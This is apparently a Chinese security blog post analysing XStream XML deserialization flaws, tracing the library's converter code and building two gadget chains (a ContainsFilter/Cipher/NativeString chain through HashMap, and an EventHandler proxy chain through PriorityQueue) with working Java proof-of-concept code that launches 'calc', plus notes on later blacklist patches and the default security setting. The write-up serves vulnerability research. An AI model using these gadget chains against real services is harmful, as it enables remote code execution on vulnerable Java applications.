前言

又一种反序列化漏洞,跟处理 JSON 的 Fastjson 相似,不过是处理 XML 的。


简单使用

参考文章,看官方文档也可以。

序列化后的数据大概是这个样子的,Data 是个没有继承的自定义类:

<org.example.Data>
  <data>Twings</data>
  <map>
    <entry>
      <string>name</string>
      <string>Aluvion</string>
    </entry>
  </map>
</org.example.Data>

因为序列化的类不需要继承 Serializable,所以可供选择的过程链就更丰富了。

反序列化过程

XStream 1.4.6,反序列化的正式开始在 TreeUnmarshaller 类的 start 函数:

public Object start(DataHolder dataHolder) {
    this.dataHolder = dataHolder;
    Class type = HierarchicalStreams.readClassType(reader, mapper);
    Object result = convertAnother(null, type);
    Iterator validations = validationList.iterator();
    while (validations.hasNext()) {
        Runnable runnable = (Runnable)validations.next();
        runnable.run();
    }
    return result;
}

调用 readClassType 从字符串中读取类名,然后调用 convertAnother:

public Object convertAnother(Object parent, Class type, Converter converter) {
    type = mapper.defaultImplementationOf(type);
    if (converter == null) {
        converter = converterLookup.lookupConverterForType(type);
    } else {
        if (!converter.canConvert(type)) {
            ConversionException e = new ConversionException(
                "Explicit selected converter cannot handle type");
            e.add("item-type", type.getName());
            e.add("converter-type", converter.getClass().getName());
            throw e;
        }
    }
    return convert(parent, type, converter);
}

此时的 converter 为空,所以会调用 lookupConverterForType 获取相应类型的 converter:

public Converter lookupConverterForType(Class type) {
    Converter cachedConverter = (Converter) typeToConverterMap.get(type);
    if (cachedConverter != null) {
        return cachedConverter;
    }
    Iterator iterator = converters.iterator();
    while (iterator.hasNext()) {
        Converter converter = (Converter) iterator.next();
        if (converter.canConvert(type)) {
            typeToConverterMap.put(type, converter);
            return converter;
        }
    }
    throw new ConversionException("No converter specified for " + type);
}

converters 是一个 PrioritizedList 列表,会根据权限进行排列,注册 converter 的时候会输入该 converter 的权限等级,比如 ReflectionConverter 的权限就是最低的 PRIORITY_VERY_LOW,即 -20:

registerConverter(new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);

遍历内部的 converters 列表,从中选出一个可以对该类型进行 convert 的 converter,在前面的 converter 都不符合的情况下(比如测试代码中的 Data 类),会选取最后一个 converter,也就是 ReflectionConverter。

之后会进入该 converter 的 unmarshal:

public Object unmarshal(final HierarchicalStreamReader reader,
    final UnmarshallingContext context) {
    Object result = instantiateNewInstance(reader, context);
    result = doUnmarshal(result, reader, context);
    return serializationMethodInvoker.callReadResolve(result);
}

实例化该类,然后调用 doUnmarshal 开始反序列化成员,通过反射获取 Field 之后,会反序列化该成员的值,然后通过反射赋值进去:

value = unmarshallField(context, result, type, field);
...
if (field != null) {
    reflectionProvider.writeField(result, fieldName, value, field.getDeclaringClass());
    seenFields.add(new FastField(field.getDeclaringClass(), fieldName));
}

也就不会触发该类的 getter、setter 等函数了。

其他 converter

ReflectionConverter 是无法使用的了,不过 com.thoughtworks.xstream.converters 包下面的其他 converter 的反序列化过程中可能存在反序列化利用链的入口。

collections

这个包里面都是些数组类型的类,这里有一个反序列化链中经常出场的类 Map 的 converter:MapConverter。

它的反序列化函数如下:

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    Map map = (Map) createCollection(context.getRequiredType());
    populateMap(reader, context, map);
    return map;
}

protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map) {
    populateMap(reader, context, map, map);
}

protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {
    while (reader.hasMoreChildren()) {
        reader.moveDown();
        putCurrentEntryIntoMap(reader, context, map, target);
        reader.moveUp();
    }
}

protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context,
                                      Map map, Map target) {
    reader.moveDown();
    Object key = readItem(reader, context, map);
    reader.moveUp();

    reader.moveDown();
    Object value = readItem(reader, context, map);
    reader.moveUp();

    target.put(key, value);
}

简单来说就是会调用某个 Map 的 put,比如我们熟悉的 HashMap,所以可以用来连接某个类的 hashCode、equals 等函数。

这里参考一条复杂的,反射点在 ContainsFilter 类的 filter 函数中:

public boolean filter(Object elt) {
    try {
        return contains((String[])method.invoke(elt), name);
    } catch (Exception e) {
        return false;
    }
}

ContainsFilter 继承的是 ServiceRegistry.Filter 接口,而用到这个接口的地方我只看到 FilterIterator 类的 advance 函数:

private void advance() {
    while (iter.hasNext()) {
        T elt = iter.next();
        if (filter.filter(elt)) {
            next = elt;
            return;
        }
    }

    next = null;
}

public T next() {
    if (next == null) {
        throw new NoSuchElementException();
    }
    T o = next;
    advance();
    return o;
}

调用 Iterator 的 next 函数,就可以连接上反射。但是有个问题,一般的 Iterator 都来自 iterator()、keys() 等无法控制的函数,所以我们需要找到一个含有 Iterator 成员的类,我们找到 Cipher 类,它的 chooseFirstProvider 函数会调用 Iterator 的 next。

继续往前看,doFinal 会调用 chooseFirstProvider:

public final byte[] doFinal() throws IllegalBlockSizeException, BadPaddingException {
    this.checkCipherState();
    this.chooseFirstProvider();
    return this.spi.engineDoFinal((byte[])null, 0, 0);
}

然后是 CipherInputStream 类:

private int getMoreData() throws IOException {
    if (this.done) {
        return -1;
    } else {
        int var1 = this.input.read(this.ibuffer);
        if (var1 == -1) {
            this.done = true;

            try {
                this.obuffer = this.cipher.doFinal();
            }
            ...
        }
        ...
    }
    ...
}

public int read(byte[] var1, int var2, int var3) throws IOException {
    int var4;
    if (this.ostart >= this.ofinish) {
        for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {
        }

        if (var4 == -1) {
            return -1;
        }
    }
    ...
}

接下来需要找到一个可控的 InputStream 并调用其 read 函数,找到 Base64Data 类:

public byte[] get() {
    if (this.data == null) {
        try {
            ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
            InputStream is = this.dataHandler.getDataSource().getInputStream();
            baos.readFrom(is);
            is.close();
            this.data = baos.getBuffer();
            this.dataLen = baos.size();
        } catch (IOException var3) {
            this.dataLen = 0;
        }
    }

    return this.data;
}

public String toString() {
    this.get();
    return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);
}

我们先看看 getDataSource:

public DataSource getDataSource() {
    if (this.dataSource == null) {
        if (this.objDataSource == null) {
            this.objDataSource = new DataHandlerDataSource(this);
        }

        return this.objDataSource;
    } else {
        return this.dataSource;
    }
}

可以控制返回为一个 DataSource 对象,我们再找到一个 getInputStream 可控的 DataSource 类就行,比如 XmlDataSource:

public InputStream getInputStream() {
    this.consumed = !this.consumed;
    return this.is;
}

这样我们就连通了 toString 和反射,接下来我们需要找到一个方法连通 toString,找到 NativeString 类:

public int hashCode() {
    return this.getStringValue().hashCode();
}

private String getStringValue() {
    return this.value instanceof String ? (String)this.value : this.value.toString();
}

value 为 CharSequence 对象,正好 Base64Data 就继承了这个接口。这样就能跟 HashMap 接起来了,写个测试代码:

Method start = ProcessBuilder.class.getDeclaredMethod("start");
Constructor constructor1 = Class.forName("javax.imageio.ImageIO$ContainsFilter").getDeclaredConstructors()[0];
constructor1.setAccessible(true);
ServiceRegistry.Filter filter = (ServiceRegistry.Filter)constructor1.newInstance(start, "start");

ArrayList arrayList = new ArrayList(1);
arrayList.add(new ProcessBuilder("calc"));
Constructor constructor2 = Object.class.getDeclaredConstructor();
constructor2.setAccessible(true);
Constructor constructor2_2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(Class.forName("javax.imageio.spi.FilterIterator"), constructor2);
constructor2_2.setAccessible(true);
Object filterIterator = constructor2_2.newInstance();
setField(filterIterator, "next", new Object());
setField(filterIterator, "iter", arrayList.iterator());
setField(filterIterator, "filter", filter);

Constructor constructor3 = Class.forName("javax.crypto.Cipher").getDeclaredConstructors()[1];
constructor3.setAccessible(true);
Object cipher = constructor3.newInstance(null, null);
setField(cipher, "serviceIterator", filterIterator);
setField(cipher, "initialized", true);
setField(cipher, "opmode", 1);
setField(cipher, "lock", new Object());

ByteArrayInputStream byteInputStream = new ByteArrayInputStream("".getBytes());
CipherInputStream cipherInputStream = new CipherInputStream(byteInputStream, (Cipher)cipher);

Constructor constructor4 = Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource").getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object xmlDataSource = constructor4.newInstance("Twings", cipherInputStream);
DataHandler dataHandler = new DataHandler((DataSource)xmlDataSource);
Base64Data base64Data = new Base64Data();
setField(base64Data, "dataHandler", dataHandler);

Constructor constructor5 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(Class.forName("jdk.nashorn.internal.objects.NativeString"), Object.class.getDeclaredConstructor());
constructor5.setAccessible(true);
Object nativeString = constructor5.newInstance();
setField(nativeString, "value", base64Data);
HashMap hashMap = new HashMap(1);
hashMap.put("name", "Twings");
Object[] table = (Object[])getFieldValue(hashMap, "table");
setField(table[0], "key", nativeString);

写的有点乱,有点地方可能用 ReflectionFactory 实例化对象比较好,懒得改了。

除了这条链,还有一条通过 Bcel ClassLoader 进行利用的类,不过我的环境上找不到这个 ClassLoader 了,可能是早期 JDK 版本的类4,感兴趣的可以去看看参考文章。

同样的,其他的 converter 还会调用 add、compare 等,就不多说了。

Reflection

里面有个 SerializableConverter,可以触发 readObject,序列化出来的 XML 会加上 serialization=”custom” 的标识说明该类重写了 readObject 等方法:

<org.example.Data serialization="custom">
  <org.example.Data>
    <default>
      <data>T</data>
      <map>
        <entry>
          <string>name</string>
          <string>Aluvion</string>
        </entry>
      </map>
    </default>
  </org.example.Data>
</org.example.Data>

extended

里面有个 DynamicProxyConverter,用于反序列化动态代理,而 JDK 内部有个动态代理类 EventHandler,它的 invoke 会调用 invokeInternal 函数,而这个函数中有一个明显的反射调用:

return MethodUtil.invoke(targetMethod, target, newArgs);

我们来看看怎么控制这里的函数名、目标对象和参数。

首先,代理的不能是 hashCode、equals、toString 这三个函数,不然会 return:

String methodName = method.getName();
if (method.getDeclaringClass() == Object.class)  {
    // Handle the Object public methods.
    if (methodName.equals("hashCode"))  {
        return new Integer(System.identityHashCode(proxy));
    } else if (methodName.equals("equals")) {
        return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
    } else if (methodName.equals("toString")) {
        return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
    }
}

然后要满足:

listenerMethodName == null || listenerMethodName.equals(methodName)

直接通过反序列化赋值就行。接着获取参数的两个分支:

if (eventPropertyName == null) {     // Nullary method.
    newArgs = new Object[]{};
    argTypes = new Class<?>[]{};
}
else {
    Object input = applyGetters(arguments[0], getEventPropertyName());
    newArgs = new Object[]{input};
    argTypes = new Class<?>[]{input == null ? null :
                            input.getClass()};
}

上面是无参,下面则是单参,而该参数来自 applyGetters 函数(applyGetters 的第二参数可控,第一参数可能可控),首先是:

if (getters == null || getters.equals("")) {
    return target;
}

可以是第一个参数本身,然后:

int firstDot = getters.indexOf('.');
if (firstDot == -1) {
    firstDot = getters.length();
}
String first = getters.substring(0, firstDot);
String rest = getters.substring(Math.min(firstDot + 1, getters.length()));

try {
    Method getter = null;
    if (target != null) {
        getter = Statement.getMethod(target.getClass(),
                                    "get" + NameGenerator.capitalize(first),
                                    new Class<?>[]{});
        if (getter == null) {
            getter = Statement.getMethod(target.getClass(),
                                        "is" + NameGenerator.capitalize(first),
                                        new Class<?>[]{});
        }
        if (getter == null) {
            getter = Statement.getMethod(target.getClass(), first, new Class<?>[]{});
        }
    }
    if (getter == null) {
        throw new RuntimeException("No method called: " + first +
                                " defined on " + target);
    }
    Object newTarget = MethodUtil.invoke(getter, target, new Object[]{});
    return applyGetters(newTarget, rest);
}

简单来说,就是调用某个类的无参函数,然后套娃继续 applyGetters,不过好像也没什么意义,如果想要反射调用单参函数,直接在最前方 return 就成。

回到 invokeInternal,接下来就是反射调用函数:

try {
    int lastDot = action.lastIndexOf('.');
    if (lastDot != -1) {
        target = applyGetters(target, action.substring(0, lastDot));
        action = action.substring(lastDot + 1);
    }
    Method targetMethod = Statement.getMethod(
                target.getClass(), action, argTypes);
    if (targetMethod == null) {
        targetMethod = Statement.getMethod(target.getClass(),
                        "set" + NameGenerator.capitalize(action), argTypes);
    }
    if (targetMethod == null) {
        String argTypeString = (argTypes.length == 0)
            ? " with no arguments"
            : " with argument " + argTypes[0];
        throw new RuntimeException(
            "No method called " + action + " on " +
            target.getClass() + argTypeString);
    }
    return MethodUtil.invoke(targetMethod, target, newArgs);
}

无参版本 Runtime 是用不了了,不过可以用 ProcessBuilder,找个接口把 EventHandler 接起来,这里有使用的是 commons-collections 中使用过的 PriorityQueue 类及接口 Comparator,走的 converter 为 SerializableConverter,通过 readObject 触发 compare 从而连接上 EventHandler 中的反射操作。

无参数版本:

public static void main( String[] args ) {
    ProcessBuilder processBuilder = new ProcessBuilder("calc");
    Comparator proxy = EventHandler.create(Comparator.class, processBuilder, "start");
    Object hValue = getFieldValue(proxy, "h");
    setField(hValue, "acc", null);
    PriorityQueue priorityQueue = new PriorityQueue(2);
    priorityQueue.add("Twings");
    priorityQueue.add("Aluvion");
    setField(priorityQueue, "comparator", proxy);
    XStream xstream = new XStream();
    String xml = xstream.toXML(priorityQueue);
    System.out.println(xml);
    System.out.println(xstream.fromXML(xml));
}

单参数版本,通过 Runtime 进行命令执行:

public static void main( String[] args ) {
    ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
    Comparator proxy = EventHandler.create(Comparator.class, Runtime.getRuntime(), "exec");
    Object hValue = getFieldValue(proxy, "h");
    setField(hValue, "eventPropertyName", "");
    setField(hValue, "acc", null);
    PriorityQueue priorityQueue = new PriorityQueue(2);
    priorityQueue.add("calc");
    priorityQueue.add("calc");
    setField(priorityQueue, "comparator", proxy);
    XStream xstream = new XStream();
    String xml = xstream.toXML(priorityQueue);
    System.out.println(xml);
    System.out.println(xstream.fromXML(xml));
}

至于为什么 Runtime 对象可以反序列化出来,这就留到后文再研究了,还有就是 applyGetters 函数里面的链式无参函数调用,有什么作用暂时想不到了,要不就链式实现某个效果,要不就执行出来作为某个单参函数的参数。

除了 Comparator,其他很多接口比如 comparable 也是可以用的,参考

其他利用链

除了上面提到的两个泛用的利用链,还有一些需要依赖才能使用的利用链,具体的可以看这个项目

安全措施

1.4.7-1.4.9

ReflectionConverter 进行了修补,在 canConvert 函数中加上了黑名单检测:

public boolean canConvert(Class type) {
    return ((this.type != null && this.type == type) || (this.type == null && type != null && type != eventHandlerType))
        && canAccess(type);
}

所以 EventHandler 类就无法反序列化了,不过在 ContainsFilter 触发的利用链还是可以使用的。

1.4.10

在注册 converter 的时候注册了一个黑名单 converter,权限为 PRIORITY_LOW,会在 ReflectionConverter 前调用:

registerConverter(new InternalBlackList(), PRIORITY_LOW);

黑名单中的类如下:

public boolean canConvert(final Class type) {
    return (type == void.class || type == Void.class)
        || (insecureWarning
            && type != null
            && (type.getName().equals("java.beans.EventHandler")
                || type.getName().endsWith("$LazyIterator")
                || type.getName().startsWith("javax.crypto.")));
}

javax.crypto 这个包名被黑名单拦截了,所以要想绕过,就要找到其他类替代 Cipher 和 CipherInputStream,来连接起 read 和 Iterator 的 next 函数。

当然,仅有黑名单的检测往往是不够的,最好还是开启 Xstream 的安全措施:

XStream.setupDefaultSecurity(xstream);

这样就会有内部的白名单检测,基本已经无法利用了。

题外话一:使用的 compare 来自 PriorityQueue 而不是 TreeMap

虽然 TreeMap 的 put 函数中也会触发 compare,但是 TreeMap 会有一个专门的 converter,叫做 TreeMapConverter,它的反序列化函数如下:

protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context,
    TreeMap result, Comparator comparator) {
    boolean inFirstElement = comparator == NULL_MARKER;
    if (inFirstElement) {
        comparator = null;
    }
    SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
    if (inFirstElement) {
        // we are already within the first entry
        putCurrentEntryIntoMap(reader, context, result, sortedMap);
        reader.moveUp();
    }
    populateMap(reader, context, result, sortedMap);
    try {
        if (JVM.hasOptimizedTreeMapPutAll()) {
            if (comparator != null && comparatorField != null) {
                comparatorField.set(result, comparator); 
            }
            result.putAll(sortedMap); // internal optimization will not call comparator
        } else if (comparatorField != null) {
            comparatorField.set(result, sortedMap.comparator());
            result.putAll(sortedMap); // "sort" by index
            comparatorField.set(result, comparator); 
        } else {
            result.putAll(sortedMap); // will use comparator for already sorted map
        }
    } catch (final IllegalAccessException e) {
        throw new ObjectAccessException("Cannot set comparator of TreeMap", e);
    }
}

它生成 TreeMap 的方式不是一个个将数据 put 进去,而是先将数据放在一个 PresortedMap 中(PresortedMap 不会触发 compare),然后调用 putAll 将其放入:

public void putAll(Map<? extends K, ? extends V> map) {
    int mapSize = map.size();
    if (size==0 && mapSize!=0 && map instanceof SortedMap) {
        Comparator<?> c = ((SortedMap<?,?>)map).comparator();
        if (c == comparator || (c != null && c.equals(comparator))) {
            ++modCount;
            try {
                buildFromSorted(mapSize, map.entrySet().iterator(),
                null, null);
            } catch (java.io.IOException cannotHappen) {
            } catch (ClassNotFoundException cannotHappen) {
            }
            return;
        }
    }
    super.putAll(map);
}

在参数为 SortedMap 的情况下,会调用 buildFromSorted 而不会调用下面的 putAll,一路下来都不会触发 compare,所以也就无法使用了。

题外话二:Runtime 的反序列化

跟踪来到 AbstractReflectionConverter 类的 instantiateNewInstance 函数,这里会调用根据类名实例化一个对象:

protected Object instantiateNewInstance(HierarchicalStreamReader reader,
    UnmarshallingContext context) {
    String attributeName = mapper.aliasForSystemAttribute("resolves-to");
    String readResolveValue = attributeName == null ? null : reader
        .getAttribute(attributeName);
    Object currentObject = context.currentObject();
    if (currentObject != null) {
        return currentObject;
    } else if (readResolveValue != null) {
        return reflectionProvider.newInstance(mapper.realClass(readResolveValue));
    } else {
        return reflectionProvider.newInstance(context.getRequiredType());
    }
}

然后调用 reflectionProvider.newInstance,最后来到 unsafe.allocateInstance,参考文章

作用跟前面用到过的 ReflectionFactory 相似,可以在不调用构造函数的情况下实例化一个类,所以 Runtime 也可以实例化出来。

题外话三:高版本未开启安全措施下的利用

留坑,以后有空再看。


参考文章

https://www.anquanke.com/post/id/204314

https://www.anquanke.com/post/id/172198


Web Java 反序列化 XStream

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

commons-beanutils反序列化漏洞
SpringBoot Thymeleaf 模板注入